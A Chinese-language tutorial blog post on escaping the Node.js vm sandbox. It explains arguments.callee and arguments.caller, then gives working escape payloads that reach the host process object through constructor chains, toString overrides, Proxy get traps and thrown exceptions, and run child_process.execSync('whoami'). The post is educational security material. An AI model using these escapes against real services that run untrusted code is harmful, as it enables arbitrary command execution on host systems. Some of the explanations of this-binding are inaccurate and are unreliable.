Nodejs沙箱逃逸

const factorial = function(n) {
  if (n === 0 || n === 1) {
    return 1;
  } else {
    return n * arguments.callee(n - 1); // 不推荐使用
  }
};
但是，由于 arguments.callee 在严格模式下会导致错误，建议使用命名函数表达式或函数声明来实现递归。

7、arguments.caller:

是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式，可以追溯到调用当前函数的函数。与 arguments.callee 类似，arguments.caller 也在严格模式下被弃用。
例：

function outer() {
  inner();
}
function inner() {
  console.log(arguments.caller); // 不推荐使用
}
outer();
在上述例子中，inner 函数内部使用 arguments.caller 来获取调用它的函数 outer 的引用。
但是请注意，这两个属性已经被弃用，应该避免在代码中使用它们。相反，可以使用函数表达式、
命名函数或箭头函数来实现递归，而不需要依赖 arguments.callee。要获取调用栈的信息，可
以使用 Error 对象的 stack 属性。

arguments.callee.caller是指获得调用这个函数的调用者

二、沙箱逃逸

1、核心原理

只要我们能在沙箱内部，找到一个沙箱外部的对象，借助这个对象内的属性即可获得沙箱外的函数，进而绕过沙箱。

2、基础隔离环境

原型

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

this 指向传给vm.createContext的那个对象

m 等于数字1

n 等于数字2

变式

我们可以使用外部传入的对象，比如this来引入当前上下文里没有的模块，进而绕过这个隔离环境。比如：

const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(
(e => {
	const process = this.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
);
const sandbox = {m: 1, n: 2};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res)

其中：

const process = this.toString.constructor('return process')() 
第一行this.toString获取到一个函数对象，this.toString.constructor获取到函数对象
的构造器，构造器中可以传入字符串类型的代码。然后在执行，即可获得process对象。

process.mainModule.require('child_process').execSync('whoami').toString()
第二行，利用前面获取的process对象既可以干任何事。

问题一：为什么我们不直接使用{}.toString.constructor('return process')()，却要使用this呢？

这两个的一个重要区别就是，{}是在沙盒内的一个对象，而this是在沙盒外的对象（注入进来的）。沙盒内的对象即使使用这个方法，也获取不到process，因为它本身就没有process。

问题二：m和n也是沙盒外的对象，为什么也不能用m.toString.constructor('return process')()呢？

因为primitive types，数字、字符串、布尔等这些都是primitive types，他们的传递其实传递的是值而不是引用，所以在沙盒内虽然你也是使用的m，但是这个m和外部那个m已经不是一个m了，所以也是无法利用的

综上所述：如果修改下context：{m: [], n: {}, x: /regexp/}，这样m、n、x就都可以利用了。

最终变式

const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(
(e => {
	const process = x.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
);
const sandbox = {m:[], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res)

3、进阶隔离环境（上下文中不存在this也不存在其他对象）

我们改一下代码，让上下文中不存在this也不存在其他对象，代码如下：

const vm = require('vm'); 

const script = `...`; 

const sandbox = Object.create(null); 

const context = new vm.createContext(sandbox); 

const res = vm.runInContext(script, context); 

console.log('Hello ' + res)

在 JavaScript 中，this 关键字的值取决于函数的执行上下文。在全局作用域中，this 通常指向全局对象（如浏览器环境中的 window 对象，Node.js 环境中的 global 对象）。但是，在使用 Object.create(null) 创建的对象上下文中，this 将为 null。

const sandbox = Object.create(null);
Object.create(null) 是一个创建一个新对象的方法，该对象没有继承自任何原型链。在 JavaScript 中，Object.create(null) 会创建一个纯净的对象，它没有继承自 Object.prototype 或任何其他原型对象，因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。

在这个纯净对象 sandbox 上下文中，由于没有原型链，它的 this 值将为 null。也就是说，如果在 sandbox 对象的上下文中使用 this 关键字，它将是 null。

例1

const sandbox = Object.create(null);

function greet() {
  console.log(this);
}

greet(); // Output: null

在上述示例中，我们定义了一个名为 greet 的函数，并在全局作用域中调用它。由于函数在全局作用域中调用，它的 this 值将为全局对象（如浏览器环境中的 window 或 Node.js 环境中的 global）。然而，如果我们在 sandbox 对象的上下文中调用 greet 函数，this 将为 null。

例2

const sandbox = Object.create(null);

function greet() {
  console.log(this);
}

sandbox.greet = greet;
sandbox.greet(); // Output: null

在这个例子中，我们将 greet 函数作为 sandbox 对象的方法，并在 sandbox 对象的上下文中调用它。在这种情况下，this 将是 null。

我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量，我们可以通过arguments.callee.caller（详细见名词解释）获得调用这个函数的调用者。我们在沙盒中定义一个函数并返回，在沙盒外这个函数被调用，那么此时的arguments.callee.caller就是沙盒外的这个调用者，我们再通过这个调用者拿到它的constructor等属性，就可以绕过沙箱了

情况一：沙箱外如果执行了比如连接字符串等操作

(() => {  

const a = {}  

a.toString = function () {    

const cc = arguments.callee.caller;    

const p = (cc.constructor.constructor('return process'))();   

 return p.mainModule.require('child_process').execSync('whoami').toString()  

}  

return a })()

toString就是定义的恶意函数，里面拿到了caller，再通过caller的constructor来获取process，最后执行命令。沙箱外如果执行了比如连接字符串等操作，就会执行这个toString函数，进而触发命令执行。

情况二：如果沙箱外没有执行字符串相关操作

我们可以使用Proxy来劫持所有属性，只要沙箱外获取了属性，我们仍然可以用来执行恶意代码：

(() => {  

const a = new Proxy({}, { 

get: function() {      

const cc = arguments.callee.caller;      

const p = (cc.constructor.constructor('return process'))();     

 return p.mainModule.require('child_process').execSync('whoami').toString()

}  

})    

return a })()

情况三：如果沙箱的返回值没有做任何事，或者没有捕捉返回值

我们可以借助异常，把我们沙箱内的对象抛出去，如果外部有捕捉异常的（如日志）逻辑，则也可能触发漏洞：

vm = require('vm'); 

const code5 = `throw new Proxy({}, {    `

 `get: function() {     `

 ` const cc = arguments.callee.caller;     ` 

 ` const p = (cc.constructor.constructor('return process'))();      ` 

 `return p.mainModule.require('child_process').execSync('whoami').toString()    `

 `}  `

 `}) `; 

try {    vm.runInContext(code5, vm.createContext(Object.create(null))); }

 catch(e)

 {    console.log('error happend: ' + e); }

二氧化蛙

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
Nodejs沙箱逃逸

我们在沙盒中定义一个函数并返回，在沙盒外这个函数被调用，那么此时的arguments.callee.caller就是沙盒外的这个调用者，我们再通过这个调用者拿到它的constructor等属性，就可以绕过沙箱了。在 JavaScript 中，this 关键字的值取决于函数的执行上下文。因为primitive types，数字、字符串、布尔等这些都是primitive types，他们的传递其实传递的是值而不是引用，所以在沙盒内虽然你也是使用的m，但是这个m和外部那个m已经不是一个m了，所以也是无法利用的。
复制链接

扫一扫